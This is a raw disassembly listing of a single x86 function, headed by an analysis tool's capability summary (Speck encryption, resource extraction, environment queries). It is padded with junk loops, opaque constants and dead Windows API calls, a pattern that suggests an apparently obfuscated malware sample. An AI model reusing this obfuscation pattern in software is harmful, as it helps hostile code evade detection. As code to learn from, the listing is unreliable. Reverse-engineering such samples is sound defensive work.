Function at 0x10032084
Capabilities:
Accept command line arguments
Encrypt data using speck
Extract resource via kernel32 functions
Get common file path
Get keyboard layout
Query environment variable

Disassembly:
mov eax, 0x10064ee7
call fcn.10064168
sub esp, 0x888
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
or eax, 0xffffffff
mov dword [ebp - 0x48], 5
xor ebx, ebx
push 4
mov dword [ebp - 0x54], 0x7bb1a88a
pop esi
mov dword [ebp - 0x30], esi
mov dword [ebp - 0x28], 0x5ec7e011
mov byte [ebp - 0x68], dl
xor edx, edx
mov dword [ebp - 0x18], eax
inc edx
push 3
mov dword [ebp - 0x24], ebx
pop edi
mov dword [ebp - 0x6c], ecx
cmp dword [ebp - 0x24], edi
jge 0x100320e6
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4c0], edx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x100320d1
or eax, 0xffffffff
mov dword [ebp - 0x48], ebx
jmp 0x10032233
mov dword [ebp - 0x1c], 0xa12b57e8
mov dword [ebp - 0x1c], 0x19
jmp 0x10032223
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0x44adca1a
mov dword [ebp - 0x24], ebx
jmp 0x10032121
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xac], 0x312b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10032110
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
imul eax, dword [ebp - 0x1c], 0x1f455
sub eax, dword [ebp - 0x48]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], ebx
jmp 0x10032214
mov dword [ebp - 0x5c], 0xfffffffd
mov dword [ebp - 0x54], ebx
cmp dword [ebp - 0x54], ebx
jl 0x10032211
mov dword [ebp - 0x20], 0xfffffff8
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ebx
jg 0x10032208
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xac]
cmp dword [ebp - 0x20], ebx
jne 0x100321c6
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4c0]
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
jmp 0x100321d0
mov eax, edx
cmp dword [ebp - 0x4c0], ebx
jne 0x100321d2
mov eax, ebx
mov dword [ebp - 0x30], eax
xor edx, edx
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0x28]
push 1
mov eax, dword [ebp + eax*4 - 0xac]
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x30]
test eax, eax
mov eax, dword [ebp - 0x1c]
sets dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x1003218d
dec dword [ebp - 0x54]
jns 0x1003217e
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], ebx
jle 0x1003216b
dec dword [ebp - 0x1c]
push 0xffffffffffffffff
pop eax
cmp dword [ebp - 0x1c], 0xfffffff0
jle 0x10032101
inc dword [ebp - 0x48]
push 0xffffffffffffffff
pop eax
cmp dword [ebp - 0x48], 0xc
jne 0x100320ee
mov dword [ebp - 0x28], esi
cmp dword [ebp - 0x28], 0x19
jl 0x1003230b
mov dword [ebp - 0x1c], ebx
jmp 0x10032260
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xe0], 0x86cc6b0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1003224f
mov dword [ebp - 0x1c], ebx
jmp 0x1003227b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x5fc], 0x7da0bf3f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003226a
mov dword [ebp - 0x30], 0xfffffffa
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0xe0]
cmp eax, edx
mov eax, dword [ebp - 0xe0]
setl cl
xor edx, edx
cmp ecx, 0xb2d3f577
push 0
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x54]
setne bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x48]
pop ebx
setl cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x5052de17
mov eax, dword [ebp - 0x18]
push 1
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xe0]
setg dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [ebp - 0x18]
pop edx
setne cl
add eax, ecx
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x5fc], 0x72faf722
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
jge 0x1003224a
xor esi, esi
inc esi
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0x19
cmp dword [ebp - 0x18], 0x1b
push esi
jl 0x10032536
lea ecx, [ebp - 0x324]
call fcn.1002ff7c
mov dword [ebp - 4], ebx
xor edx, edx
mov dword [ebp - 0x3c], 0x54fddd3f
inc edx
mov dword [ebp - 0x24], ebx
jmp 0x10032353
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x324]
mov dword [eax + ecx*4], 0xdf603fa7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10032340
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ebx
jg 0x10032428
mov dword [ebp - 0x24], 0x7dc6
cmp dword [ebp - 0x24], 0x7de1
jle 0x100323c1
push ebx
call dword [sym.imp.USER32.dll_ShowCursor]
mov esi, ebx
mov dword [ebp - 0x5c], esi
mov dword [ebp - 0x20], 0x7043
mov edi, ebx
mov ebx, dword [ebp - 0x5c]
mov eax, ebx
mov ecx, 0x1060e278
xor eax, edi
cdq
push edx
push eax
call fcn.1002fe67
inc edi
cmp edi, 0x5463
jl 0x1003238c
dec ebx
dec dword [ebp - 0x20]
push 0
mov dword [ebp - 0x5c], ebx
pop ebx
jne 0x10032387
inc esi
cmp esi, 0x2bdb
jl 0x1003237d
xor edx, edx
push 3
inc edx
pop edi
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100323de
push 0x188
push 0x25bb
push ebx
call dword [sym.imp.USER32.dll_EnableMenuItem]
xor edx, edx
inc edx
mov byte [ebp - 4], dl
cmp dword [ebp - 0x24], 0x7d51
jge 0x1003241d
mov edx, 0x1000a6c0
mov ecx, 0x1060e278
call fcn.10031911
jmp 0x1003241a
xor edx, edx
inc edx
mov dword [ebp - 4], ebx
inc dword [ebp - 0x3c]
jmp 0x1003235b
mov dword [ebp - 0x3c], ebx
jmp 0x10032513
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x40], 0xe486aeba
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032449
call dword [sym.imp.USER32.dll_CreateMenu]
mov dword [ebp - 0x38], ebx
jmp 0x10032504
push 4
lea ecx, [ebp - 0x2c4]
call fcn.1002ff7c
mov dword [ebp - 0x24], ebx
jmp 0x10032476
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c4]
mov dword [eax + ecx*4], 0xf82d83d7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10032463
mov esi, dword [ebp - 0x2c4]
mov dword [esi + 4], ebx
mov dword [ebp - 0x24], 0x3d4e7030
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x100324cd
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100324ad
push ebx
push ebx
push 0x1022
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x100324c8
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x324]
cmp dword [eax + ecx*4], ebx
jne 0x100324c8
dec dword [ebp - 0x20]
jns 0x100324b5
dec dword [ebp - 0x24]
jns 0x10032494
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100324dd
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
dec dword [esi + 4]
jns 0x10032485
mov eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x2c4]
mov dword [eax + 0xc], 0x6478c38e
mov dword [ebp - 0x40], 0x6478c38e
call fcn.1002fffe
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10032451
inc dword [ebp - 0x3c]
push 1
pop edx
cmp dword [ebp - 0x3c], ebx
jle 0x10032430
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x324]
call fcn.1002fffe
inc dword [ebp - 0x18]
xor esi, esi
inc esi
jmp 0x10032318
mov dword [ebp - 0x1c], 5
lea ecx, [ebp - 0x258]
call fcn.1002ff7c
mov dword [ebp - 4], edi
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x38], 0x71ba
cmp dword [ebp - 0x38], 0x7204
jle 0x10032601
push 0x1ff4
push ebx
call dword [sym.imp.USER32.dll_GetSubMenu]
mov eax, ebx
mov dword [ebp - 0x24], ebx
mov edx, eax
mov dword [ebp - 0x18], 0x2f0f
mov dword [ebp - 0x20], edx
mov esi, ebx
mov dword [ebp - 0x5c], ebx
mov ecx, esi
mov edi, ebx
mov esi, edx
shl esi, cl
mov eax, esi
lea ecx, [ebp - 0x81c]
or eax, edi
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x100325ac
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x81c]
call fcn.10030308
inc edi
cmp edi, 0x692d
jl 0x10032590
mov esi, dword [ebp - 0x5c]
mov edx, dword [ebp - 0x20]
inc esi
mov dword [ebp - 0x5c], esi
cmp esi, 0x5f73
jl 0x10032588
dec edx
dec dword [ebp - 0x18]
mov dword [ebp - 0x20], edx
jne 0x10032583
mov eax, dword [ebp - 0x24]
inc eax
mov dword [ebp - 0x24], eax
cmp eax, 0x215a
jl 0x10032577
push ebx
push ebx
call dword [sym.imp.OLEAUT32.dll_VariantCopyInd]
xor esi, esi
push 3
inc esi
pop edi
cmp dword [ebp - 0x38], 0x6f6a
jge 0x10032615
push 0x1000a720
call fcn.1004eea6
pop ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1003262d
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x258]
mov dword [eax + ecx*4], 0xcf5720e8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003261a
mov dword [ebp - 0x1c], ebx
jmp 0x10032648
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf4], 0x4f37831e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10032637
mov dword [ebp - 0xf0], ebx
or esi, 0xffffffff
cmp dword [ebp - 0xf0], ebx
jl 0x10032695
mov eax, dword [ebp - 0xf0]
mov edx, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0x258]
cmp dword [ecx + eax*4], 0xfc371865
sbb eax, eax
neg eax
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp - 0xf0]
mov eax, dword [ebp - 0x258]
mov dword [eax + ecx*4], esi
dec dword [ebp - 0xf0]
jns 0x1003265e
mov dword [ebp - 0x24], 0xfffffffa
jmp 0x100326dc
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100326b4
push 0x1e2d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100326d9
push 0x81
push ebx
push 0x268c
push 0x93e
push ebx
push 0x1ad1
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x15
jl 0x1003269e
lea ecx, [ebp - 0x258]
mov dword [ebp - 4], esi
call fcn.1002fffe
mov dword [ebp - 0x48], 0x7bb1a88a
mov dword [ebp - 0x5c], 0x7b92
cmp dword [ebp - 0x5c], 0x7dbe
jle 0x10032754
mov edi, ebx
mov esi, ebx
mov eax, esi
lea ecx, [ebp - 0x774]
and eax, edi
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10032727
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x774]
call fcn.10030308
inc esi
cmp esi, 0x7bd4
jl 0x1003270b
inc edi
cmp edi, 0x10b4
jl 0x10032709
push 3
pop edi
or esi, 0xffffffff
push edi
lea ecx, [ebp - 0x430]
call fcn.1002ff7c
cmp dword [ebp - 0x5c], 0x78b0
jge 0x10032774
push 0x1000a73c
call fcn.1004eea6
pop ecx
mov dword [ebp - 4], esi
mov dword [ebp - 0x24], 0xdada439b
mov dword [ebp - 0x2c], 0x624cdb8f
mov dword [ebp - 0x24], ebx
jmp 0x1003279d
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x430]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x1003278a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100327b3
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
mov dword [ebp - 0x24], ebx
jmp 0x100327d9
mov dword [ebp - 0x5c], 0x7ab3921d
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100327d3
push 0x65b
call dword [sym.imp.USER32.dll_IsIconic]
dec dword [ebp - 0x5c]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 2
jle 0x100327b8
lea ecx, [ebp - 0x430]
call fcn.1002fffe
mov dword [ebp - 0x30], 4
xor edx, edx
mov dword [ebp - 0x28], 0x5ec7e011
inc edx
mov dword [ebp - 0x44], esi
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], edi
jge 0x10032815
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x4d8], edx
inc dword [ebp - 0x24]
jmp 0x10032801
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], 0xc
je 0x10032a07
mov dword [ebp - 0x54], 0xa12b57e8
mov dword [ebp - 0x54], 0x19
cmp dword [ebp - 0x54], 0xfffffff0
jg 0x100329ff
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x3c], 0x44adca1a
mov dword [ebp - 0x24], ebx
jmp 0x1003285a
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0xa4], 0x312b
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10032849
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x54], 0x1f455
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jg 0x100329f7
mov dword [ebp - 0x24], 0xfffffffd
mov dword [ebp - 0x48], ebx
cmp dword [ebp - 0x48], ebx
jl 0x100329ef
mov dword [ebp - 0x50], 0xfffffff8
mov dword [ebp - 0x58], 0x394a
cmp dword [ebp - 0x58], 0x399f
jle 0x1003294d
mov ecx, ebx
mov dword [ebp - 0x20], ebx
mov eax, ebx
mov dword [ebp - 0x18], ebx
mov edi, ebx
cdq
mov esi, ecx
idiv edi
mov dword [ebp - 0x5c], 0xff5
sub esi, edx
mov eax, esi
lea ecx, [ebp - 0x6b4]
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10032906
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x6b4]
call fcn.10030308
inc esi
dec dword [ebp - 0x5c]
jne 0x100328ec
mov eax, dword [ebp - 0x18]
inc edi
mov ecx, dword [ebp - 0x20]
cmp edi, 0x819
jl 0x100328de
inc eax
mov dword [ebp - 0x18], eax
cmp eax, 0x1ef5
jl 0x100328dc
inc ecx
mov dword [ebp - 0x20], ecx
cmp ecx, 0x51e0
jl 0x100328d7
xor edx, edx
inc edx
or esi, 0xffffffff
mov dword [ebp - 0x3c], ebx
jmp 0x100329c8
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xa4]
cmp dword [ebp - 0x50], ebx
jne 0x1003298b
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0xa4]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x4d8]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp - 0x1c]
jmp 0x10032995
mov eax, edx
cmp dword [ebp - 0x4d8], ebx
jne 0x10032997
mov eax, ebx
mov dword [ebp - 0x30], eax
xor edx, edx
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x28]
push 1
mov eax, dword [ebp + eax*4 - 0xa4]
mov eax, dword [ebp - 0x50]
imul eax, dword [ebp - 0x30]
test eax, eax
mov eax, dword [ebp - 0x54]
sets dl
xor ecx, ecx
cmp edx, eax
pop edx
setle cl
mov dword [ebp - 0x40], ecx
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x10032952
cmp dword [ebp - 0x58], 0x385f
jge 0x100329e1
push 0x1000a770
call fcn.1004eea6
pop ecx
mov dword [ebp - 4], esi
xor edx, edx
dec dword [ebp - 0x48]
inc edx
jmp 0x100328b2
inc dword [ebp - 0x28]
jmp 0x1003289f
dec dword [ebp - 0x54]
jmp 0x10032830
inc dword [ebp - 0x1c]
jmp 0x10032818
mov dword [ebp - 0x28], 4
cmp dword [ebp - 0x28], 0x19
jl 0x10032adc
push 3
pop edi
mov dword [ebp - 0x1c], ebx
jmp 0x10032a31
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcc], 0x86cc6b0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x10032a20
mov dword [ebp - 0x1c], ebx
jmp 0x10032a4c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x650], 0x7da0bf3f
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10032a3b
mov dword [ebp - 0x30], 0xfffffffa
xor ecx, ecx
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0xcc]
cmp eax, edx
mov eax, dword [ebp - 0xcc]
setl cl
xor edx, edx
cmp ecx, 0xb2d3f577
push 0
setne dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x48]
setne bl
xor ecx, ecx
cmp ebx, eax
mov eax, dword [ebp - 0x1c]
pop ebx
setl cl
sub eax, ecx
xor ecx, ecx
cmp eax, 0x5052de17
mov eax, dword [ebp - 0x44]
push 1
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0xcc]
setg dl
xor ecx, ecx
dec edx
cmp edx, eax
mov eax, dword [ebp - 0x44]
pop edx
setne cl
add eax, ecx
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x650], 0x72faf722
inc dword [ebp - 0x28]
cmp dword [ebp - 0x28], 0x19
jge 0x10032a1b
mov dword [ebp - 0x40], 0x923ccde6
mov dword [ebp - 0x34], 0xa421e0b
mov dword [ebp - 0x4c], 0x2735
mov dword [ebp - 0x38], 7
mov dword [ebp - 0x44], 0xb748abb7
mov dword [ebp - 0x2c], 0xc22c9208
mov dword [ebp - 0x18], 0x4d13
cmp dword [ebp - 0x18], 0x4dfa
jle 0x10032bad
mov dword [ebp - 0x5c], ebx
mov ecx, ebx
mov dword [ebp - 0x58], 0x14a6
mov dword [ebp - 0x20], ecx
mov edi, ebx
mov dword [ebp - 0x44], ebx
mov eax, ecx
mov esi, ebx
cdq
idiv edi
mov edi, edx
mov eax, esi
lea ecx, [ebp - 0x7a4]
and eax, edi
cdq
push edx
push eax
call fcn.1000db90
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10032b53
mov eax, dword [eax]
push eax
call fcn.1004eea6
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x7a4]
call fcn.10030308
inc esi
cmp esi, 0x2cf4
jl 0x10032b37
mov edi, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x20]
inc edi
mov dword [ebp - 0x44], edi
cmp edi, 0x58ed
jl 0x10032b2e
mov eax, dword [ebp - 0x5c]
add ecx, eax
dec dword [ebp - 0x58]
mov dword [ebp - 0x20], ecx
jne 0x10032b29
inc eax
mov dword [ebp - 0x5c], eax
cmp eax, 0x17df
jl 0x10032b1d
push ebx
push ebx
push 0x7cb
push 0x1714
call dword [sym.imp.USER32.dll_PostMessageA]
xor esi, esi
mov dword [ebp - 0x24], ebx
inc esi
jmp 0x10032bc3
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x80], 0x34678dc2
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jl 0x10032bb5
cmp dword [ebp - 0x18], 0x49bc
jge 0x10032bdc
push 0x1000a788
call fcn.1004eea6
pop ecx
or edi, 0xffffffff
xor edx, edx
mov dword [ebp - 4], edi
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x80]
mov ecx, dword [ebp - 0x80]
mov eax, dword [ebp - 0x34]
cmp eax, ecx
mov eax, dword [ebp - 0x4c]
setle dl
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x80]
jl 0x10032c0d
mov eax, dword [ebp - 0x80]
mov eax, dword [ebp - 0x38]
sub eax, 0x2071
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x3c], 5
mov dword [ebp - 0x50], 0x7bb1a88a
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x18], 0x19
cmp dword [ebp - 0x18], 0x1b
push esi
jl 0x10032e36
lea ecx, [ebp - 0x3cc]
call fcn.1002ff7c
mov dword [ebp - 4], 0xc
xor edx, edx
mov dword [ebp - 0x3c], 0x54fddd3f
inc edx
mov dword [ebp - 0x24], ebx
jmp 0x10032c74
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3cc]
mov dword [eax + ecx*4], 0xdf603fa7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10032c61
mov dword [ebp - 0x3c], ebx
cmp dword [ebp - 0x3c], ebx
jg 0x10032d28
mov dword [ebp - 0x44], 0x77ac
cmp dword [ebp - 0x44], 0x7b15
jle 0x10032cc2
mov esi, ebx
mov edi, ebx
mov eax, esi
mov ecx, 0x1060e278
cdq
idiv edi
mov eax, edx
cdq
push edx
push eax
call fcn.1002fe67
inc edi
cmp edi, 0x20f8
jl 0x10032c99
inc esi
cmp esi, 0x7e20
jl 0x10032c97
or edi, 0xffffffff
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032cdc
push 0x188
push 0x25bb
push ebx
call dword [sym.imp.USER32.dll_EnableMenuItem]
mov byte [ebp - 4], 0xd
cmp dword [ebp - 0x44], 0x7541
jge 0x10032d19
mov edx, 0x1000a7cc
mov ecx, 0x1060e278
call fcn.10031911
jmp 0x10032d19
mov dword [ebp - 4], 0xc
inc dword [ebp - 0x3c]
jmp 0x10032c7c
mov dword [ebp - 0x3c], ebx
jmp 0x10032e14
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x40], 0xe486aeba
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032d4d
call dword [sym.imp.USER32.dll_CreateMenu]
mov dword [ebp - 0x38], ebx
jmp 0x10032e08
push 4
lea ecx, [ebp - 0x2d0]
call fcn.1002ff7c
mov dword [ebp - 0x24], ebx
jmp 0x10032d7a
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2d0]
mov dword [eax + ecx*4], 0xf82d83d7
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 4
jl 0x10032d67
mov esi, dword [ebp - 0x2d0]
mov dword [esi + 4], ebx
mov dword [ebp - 0x24], 0x3d4e7030
mov dword [ebp - 0x24], ebx
cmp dword [ebp - 0x24], ebx
jl 0x10032dd1
mov dword [ebp - 0x20], ebx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032db1
push ebx
push ebx
push 0x1022
call dword [sym.imp.USER32.dll_SetWindowRgn]
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], ebx
jl 0x10032dcc
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x3cc]
cmp dword [eax + ecx*4], ebx
jne 0x10032dcc
dec dword [ebp - 0x20]
jns 0x10032db9
dec dword [ebp - 0x24]
jns 0x10032d98
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032de1
push ebx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
dec dword [esi + 4]
jns 0x10032d89
mov eax, dword [ebp - 0x2d0]
lea ecx, [ebp - 0x2d0]
mov dword [eax + 0xc], 0x6478c38e
mov dword [ebp - 0x40], 0x6478c38e
call fcn.1002fffe
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ebx
jle 0x10032d55
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], ebx
jle 0x10032d30
lea ecx, [ebp - 0x3cc]
mov dword [ebp - 4], edi
call fcn.1002fffe
inc dword [ebp - 0x18]
xor esi, esi
inc esi
jmp 0x10032c35
mov dword [ebp - 0x38], 4
lea ecx, [ebp - 0x270]
call fcn.1002ff7c
mov dword [ebp - 0x24], 9
mov dword [ebp - 0x1c], ebx
jmp 0x10032e67
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x270]
mov dword [eax + ecx*4], 0xcf5720e8
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x10032e54
push 3
mov dword [ebp - 0x1c], ebx
pop edi
jmp 0x10032e85
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x118], 0x4f37831e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x10032e74
mov dword [ebp - 0x114], ebx
cmp dword [ebp - 0x114], ebx
jl 0x10032ed0
mov eax, dword [ebp - 0x114]
mov edx, dword [ebp - 0x114]
mov ecx, dword [ebp - 0x270]
cmp dword [ecx + eax*4], 0xfc371865
sbb eax, eax
neg eax
mov dword [ecx + edx*4], eax
mov ecx, dword [ebp - 0x114]
mov eax, dword [ebp - 0x270]
or dword [eax + ecx*4], 0xffffffff
dec dword [ebp - 0x114]
jns 0x10032e98
mov dword [ebp - 0x24], 0xfffffffa
jmp 0x10032f17
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032eef
push 0x1e2d
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032f14
push 0x81
push ebx
push 0x268c
push 0x93e
push ebx
push 0x1ad1
call dword [sym.imp.GDI32.dll_GetCharacterPlacementW]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x15
jl 0x10032ed9
lea ecx, [ebp - 0x270]
call fcn.1002fffe
mov dword [ebp - 0x1c], 0x5ec7e011
lea ecx, [ebp - 0x4f0]
push edi
call fcn.1002ff7c
mov dword [ebp - 0x24], 0xdada439b
mov dword [ebp - 0x2c], 0x624cdb8f
mov dword [ebp - 0x24], ebx
jmp 0x10032f61
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x4f0]
mov dword [eax + ecx*4], 0xffff
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edi
jl 0x10032f4e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10032f77
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegUnLoadKeyW]
push 2
mov dword [ebp - 0x24], ebx
pop esi
jmp 0x10032fa0
mov dword [ebp - 0x44], 0x7ab3921d
mov byte [ebp - 0x11], bl
